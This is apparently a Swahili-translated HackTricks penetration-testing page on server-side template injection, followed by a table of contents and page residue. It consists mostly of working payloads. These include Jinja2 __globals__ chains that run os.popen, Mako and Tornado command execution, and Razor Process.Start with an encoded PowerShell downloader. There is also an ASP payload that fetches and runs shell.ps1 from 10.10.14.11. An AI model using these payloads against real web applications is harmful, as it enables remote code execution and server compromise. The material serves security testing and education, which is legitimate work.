https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby

Python

Angalia ukurasa ufuatao kujifunza mbinu za utekelezaji wa amri za kupita kwenye mifumo ya kinga katika python:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777

{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}





{{os.system('whoami')}}
{{os.system('whoami')}}

Maelezo zaidi

https://ajinabraham.com/blog/server-side-template-injection-in-tornado

Jinja2 (Python)

Tovuti rasmi

Jinja2 ni injini kamili ya templeti kwa Python. Inaunga mkono unicode kamili, mazingira ya utekelezaji yaliyotengenezwa kwa usalama, hutumiwa sana na leseni ya BSD.

{{7*7}} = Kosa
${7*7} = ${7*7}
{{foobar}} Hakuna kitu
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>

{% raw %}
{% debug %}
{% endraw %}





{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Muundo wa Template

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}

RCE isiyo tegemezi na __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Maelezo zaidi kuhusu jinsi ya kutumia Jinja:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Payloads nyingine katika https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Maelezo zaidi

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako

Razor (.Net)

@(2+2) <= Mafanikio
@() <= Mafanikio
@("{{code}}") <= Mafanikio
@ <= Mafanikio
@{} <= KOSA!
@{ <= KOSA!
@(1+2)
@( //Msimbo wa C# )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");

Mbinu ya .NET ya System.Diagnostics.Process.Start inaweza kutumika kuanzisha mchakato wowote kwenye seva na hivyo kuunda webshell. Unaweza kupata mfano wa programu ya wavuti iliyo na kasoro katika https://github.com/cnotin/RazorVulnerableApp

Maelezo zaidi

ASP

<%= 7*7 %> = 49
<%= "foo" %> = foo
<%= foo %> = Hakuna kitu
<%= response.write(date()) %> = <Date>

<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Maelezo Zaidi

https://www.w3schools.com/asp/asp_examples.asp

Mojolicious (Perl)

Hata kama ni perl inatumia vitambulisho kama ERB katika Ruby.

<%= 7*7 %> = 49
<%= foobar %> = Kosa

<%= perl code %>
<% perl code %>

SSTI katika GO

Katika injini ya templeti ya Go, uthibitisho wa matumizi yake unaweza kufanywa na mizigo maalum:

{{ . }}: Inaonyesha muundo wa data ulioingizwa. Kwa mfano, ikiwa kitu chenye sifa ya Password kimepita, {{ .Password }} inaweza kuifunua.
{{printf "%s" "ssti" }}: Inatarajiwa kuonyesha mfuatano "ssti".
{{html "ssti"}}, {{js "ssti"}}: Mizigo hii inapaswa kurudisha "ssti" bila kuongeza "html" au "js". Maelekezo zaidi yanaweza kuchunguzwa katika nyaraka za Go hapa.

Udanganyifu wa XSS

Kwa pakiti ya text/template, XSS inaweza kuwa rahisi kwa kuingiza mizigo moja kwa moja. Kinyume chake, pakiti ya html/template inakata jibu ili kuzuia hili (kwa mfano, {{"<script>alert(1)</script>"}} inatoa <script>alert(1)</script>). Walakini, ufafanuzi wa templeti na wito katika Go unaweza kuepuka usimbaji huu: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Copy code

Udanganyifu wa RCE

Udanganyifu wa RCE unatofautiana sana kati ya html/template na text/template. Moduli ya text/template inaruhusu kuita kazi yoyote ya umma moja kwa moja (kwa kutumia thamani ya "call"), jambo ambalo haliruhusiwi katika html/template. Nyaraka kwa moduli hizi zinapatikana hapa kwa html/template na hapa kwa text/template.

Kwa RCE kupitia SSTI katika Go, njia za vitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina njia ya System inayotekeleza amri, inaweza kutumiwa kama {{ .System "ls" }}. Kupata msimbo wa chanzo mara nyingi ni muhimu kwa kudanganya hili, kama katika mfano uliotolewa:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Maelezo zaidi

Mbinu Zaidi za Uvamizi

Angalia sehemu nyingine ya https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection kwa mbinu zaidi za uvamizi. Pia unaweza kupata habari za vitambulisho vya kuvutia katika https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

{% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}

Msaada Husika

Ikiwa unadhani inaweza kuwa na manufaa, soma:

Zana

Orodha ya Kugundua Kwa Nguvu

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Zoezi na Marejeleo

RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Hispania na moja ya muhimu zaidi barani Ulaya. Kwa malengo ya kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.

{% embed url="https://www.rootedcon.com/" %}

Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
Pata bidhaa rasmi za PEASS & HackTricks
Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs za kipekee
Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.

45 KiB Raw Blame History Unescape Escape

SSTI (Uingizaji wa Kigeuzi wa Upande wa Seva)

Ni nini SSTI (Uingizaji wa Kigeuzi wa Upande wa Seva)

Uchunguzi

Hatua ya Kutambua

Zana

TInjA

SSTImap

Tplmap

Mwongozo wa Uingizaji wa Kiolesura cha Mtumiaji

Kudhibiti

Kijumla

Java

FreeMarker (Java)

Velocity (Java)

Thymeleaf

Spring Framework (Java)

Ubadilishaji wa Mwangaza wa Spring (Java)

Pebble (Java)

Jinjava (Java)

Jinjava (Java)

Hubspot - HuBL (Java)

Expression Language - EL (Java)

Groovy (Java)

Smarty (PHP)

Twig (PHP)

Plates (PHP)

PHPlib na HTML_Template_PHPLIB (PHP)

SSTI (Server-Side Template Injection)

Description

Objective

Instructions

Jade (NodeJS)

patTemplate (PHP)

Handlebars (NodeJS)

JsRender (NodeJS)

PugJs (NodeJS)

NUNJUCKS (NodeJS)

ERB (Ruby)

Slim (Ruby)

Python

Tornado (Python)

Jinja2 (Python)

Mako (Python)

Razor (.Net)

ASP

Mojolicious (Perl)

SSTI katika GO

Mbinu Zaidi za Uvamizi

BlackHat PDF

Msaada Husika

Zana

Orodha ya Kugundua Kwa Nguvu

Zoezi na Marejeleo

45 KiB

Raw Blame History